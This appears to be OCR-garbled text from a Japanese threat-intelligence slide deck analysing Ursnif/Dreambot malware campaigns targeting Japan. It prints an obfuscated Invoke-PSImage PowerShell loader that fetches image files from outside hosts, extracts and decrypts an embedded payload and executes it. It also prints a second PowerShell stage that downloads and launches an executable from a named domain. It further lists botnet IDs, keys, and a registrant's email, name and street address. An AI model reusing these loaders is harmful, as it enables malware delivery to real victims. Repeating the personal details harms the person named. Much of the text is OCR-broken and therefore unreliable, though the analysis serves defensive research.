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QAT H IS TA —

—Invoke-PSImageM&E A
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— Invoke-ReflectivePEInjectiondiE A
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@Invoke-0Obfuscation

("{1}{@}" -f'al’,’s') Om New-Object;.("{@}{1}{2}"-f'A’,'dd-Ty', 'pe') -AssemblyName ("{3}{@}{2}{1}"-f'm.','awing’','Dr’,'Syste’');
[Reflection.Assembly]: :LoadWithPartialName(("{1}{3}{@}{2}" -f 'em.','Sys','Security','t')) | .("{2}{@3{1}"-F'-N','ull’, 'Out’');
[string[11${c OL}=(("{3}{4}{0}{2}{1}{5}{6}" -f '://i', 'mgur.com/",".i", 'http’,"s"’, ar2v’, 'FoS.png"), ("{0}{8}{2}{1}{5H{3}{7}{63}{4}
" -f 'http','2’',"imgbox.com/f1/5", 'wQan', ‘g’ , '/9G", "0.p", ", 's://images2. '), ("{1}{3}{9}{7}{63}{0}{2}{4}{10}{11}{5}{8}" -F'c/",
‘https','wgR',"'://i.po’, 'Wy', g?"',"'c’,'g.", 'dl=1", stim’, 'QPd/ ", 'MAIN2.pn"), ("{@}{6}{3}{2}{5}{1}{4}{7}" -f'http', '@6pucz’,
'age.fr','m','S','l/i/4sc','s://i','7ewtzd.png’));function Ottass {param ([String]${I ' gaa}, [String]${p Cxc})${ByT U Ro} =
[Convert]::FromBase64String(${i’gaA});${A'es} = .('Om’') System.Security.Cryptography.RijndaelManaged;${A  es}.Mode =
[System.Security.Cryptography.CipherMode]::CBC;${a es}.Padding = [System.Security.Cryptography.PaddingMode]::zeros;${TL'AS} = &
('Om*) Byte[1(32);[Array]::Copy(${BY T'URO}, @, ${TL As}, @, 32);${Rc xZ8} = &('Om")
System.Security.Cryptography.Rfc2898DeriveBytes(${PC xc},${t LaS});${x A2d} = ${r (XZO}.GetBytes(32);${D eFS} = ${RC X z0}
.GetBytes(16);${Hm Ac} = .('Om') System.Security.Cryptography.HMACSHAL(,${r C xZ@}.GetBytes(20));${eED’er} = ${hM’AC}.ComputeHash
(${b” YtU'Ro}, 52, ${B Yt URo}.Length - 52);${gAs Aq} = ${a Es}.CreateDecryptor(${X A2D}, ${DE Fs});${mjO kO} = ${q ASAq}
.TransformFinalBlock(${ByT U RO}, 52, ${bY T URo}.Length - 52);${a’'daMI} = &('Om') System.IO.MemoryStream(${MJo Ko}, ${f Alse});
if (${Mj O0kO}[@] -eq Ox1f) {${aD AmI} = &('Om"') System.IO.Compression.GZipStream(${adA*MI}, [IO.Compression.CompressionMode]
::Decompress) }${sTREAm ' Re'Ad’er} = .('Om') System.IO.StreamReader(${a daMi}, ${tR"UE});${st RE AmRe’ ADER}.ReadToEnd()};Function
Bavv(${T 6 4In}){${b cZa} = [System.Convert]::FromBase64String(${t6 4 In});${SENE gS} = [System.Text.Encoding]: :UTF8.GetString($
{Bc"za});return ${Se NegS}} ("{8}{1}" -f's','al’) a New-Object;foreach(${U R1l} in ${c ol}){if ((&('Om') Net.WebClient)
downloadstring(${u'RL}).length -gt 1000){${w}=.('Om') System.Drawing.Bitmap((&('Om') Net.WebClient).OpenRead(${u'R1}));${j Y}=&
{'Om') Byte[] 128400;(0..213) |&( %" ){foreach(${i} in(@..599)){${S V}=${w}.GetPixel(${I},${ });${I YI[${_}*600+8{i}]1=([math]: :Flool
((${sv}.B-band15)*16)-bor(${Sv}.G -band 15))}};${eN SEeV} =[System.Text.Encoding]::ASCII.GetString(${iY}[@..128347]) ${m imEdR} =
("{@}§1}"-f 'Ot', 'tass') -Igaa ${eNs eeV} -Pcxc| (&("{0}{1}{2}" -f 'Get-Cu','ltu’, 're'))|Name;${c Gg}=.("{1}{0}" -F 'aw’','B')($

{MIMEDR)); - ("(13{0)"-F X', "IE")(${Cgg});break}} @ Get-Culture
@Invoke-PSImage




53

SHALT .

/

322 /1]\\11-77’()1/0)”1

@ETRIEDF T v4 (Powershell)

$Ds=Get-Culture | Format-List -Property * | Out-String -Stream;if ($Ds -Match "ja") $urls="http://
pigertime.com/mksettting”,"";foreach($url in $urls){Try{write-Host $url;$fp = "$env:temp\pain.exe";
Write-Host $fp;$wc = New-Object System.Net.WebClient;$wc.Headers.Add("user-zgent”,"Mozilla/5.0@
(Windows NT; Windows NT 10.9; us-US) AppleWlebKit/534.6 (KHTML, like Gecko) Ch rome/? 0.500.0 Safari/
534.6");$wc.DownloadFile($url, $fp);Start-Process $fp;break}Catch{Write-Host _.Exception.Message}}}

LCID : 1041
ﬁ:m@oardaywtld - 1'04\11P = =
jaz (L] L1
letflanasazeTag : ja-JP (SD 'mt J )
DisplayName : B (BF) lf S Ch a
Nat i veName : BAEE (BF)
Engl ishName : Japarese (Japan)
Twd et ter[SOLanguageName a
Threel etter[S0LanzuagzeName : J'pn
Threeletterf{indows anguageName :
Comparelnfo . Convarelnfo e
Text Info : TextInfo - ja-JP
IsNeut ralCul ture : False
CultureTypes : SpecificCultures, Irstalledfin32Cultures, FrameworkCultures
NurberFormat : System.Global izat ion.NumberFomat Info
DateT imeFormat : System.Global izat ion.Datel imeFormat Info
Calendar : System.Glcbal izat ion.GregoriarCalendar
OptionalCalendars : {System.Global izat ion.GregorianCalendar, System.Globalization.
JapareseCalendar, System.Global ization.GregorianCalendar}
UsdlserOverride : True
[sReadOnly : False
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SerpentKey F5FEEHIS Version  BotnetlD
CBA16FFC891E31A5 2018/07/02 - 2018/10/24 300016

—_

2018/11/06 300018
AO0511F7C891131A8 2019/02/18 - 2015/02/20 300030
2019/02/28 300035
CBA17F7E892431A1 2019/04/03 300036

2019/06/17 300058
s4ScOmDb35Ayj800 2018/07/18 216996

2019/07/16 217068
cvHftGpugarQFBOD 2018/07/25 217016 201873
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& jiongyunpeng@yahoo.com is associated to this person

I \ W ~ -
1%; . d n% I\ >( /]/ / (L_ E Name Jio ‘ is associated with 25
:I:t 7:) @ 5 t 7:) y \ Address No. 2307, 1224, Bei Wai Huan Lu Xi Lu map
7 \ I [ Y _ L City Linfen

ex)

Shanxi
Country B china
Phone
Fax

Private

2015-20175E(CfHFE

MEE D D
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=1

@ List of domain names registred by jiongyunpeng@yahoo.com

QICHFEDA—ILT R ..
L R TBEREE R 7 > [ v

Creation Date

kritttar 1 2017-01-31
7-01-31

2017-01-17

2017-01-05

6-12-14

Registrar

ipmirrar.com
ipmirror.com
ipmirror.com
ipmirror.com

ipmirror.com

ipmirrar.com
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Group-AHDMERF D02 R XA > D4¥FE (2019/05-)

ASN 62088

P 5.8.88.0/24,
5.188.231.0/24

register Eranet International
Limited

NameServer | a.dnspod.com

Registrant | Wang Wiet
Organization | MYOB Technology Pty
Ltd
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https://www.proofpoint.com/us/threat-insight/post/sandiflux-another-fast-flux-infrastructure-used-malware-distribution-emerges
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Ursnif OORkZL%

Ursnif-ADRZEES 90,000IP (20164F)
¢ sinkholel(C K DEHI

Ursnif-BDRZEEN 63,733m= (2019/04)
D5 Japan 45,848

Dreambot Business overview 2019:


http://benkow.cc/DreambotSAS19.pdf
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THANKS!
Any questions?

@bomccss (@AIR3 vytakeda @gorimpthon

Work with Community

@58 158 177 102 @AE8256b|t @sugimu_sec @wato dn

ch|4439

CRe -
@tachis @yukitoras @aveitma @vaga_tw o @sec_S_ow 1 1|
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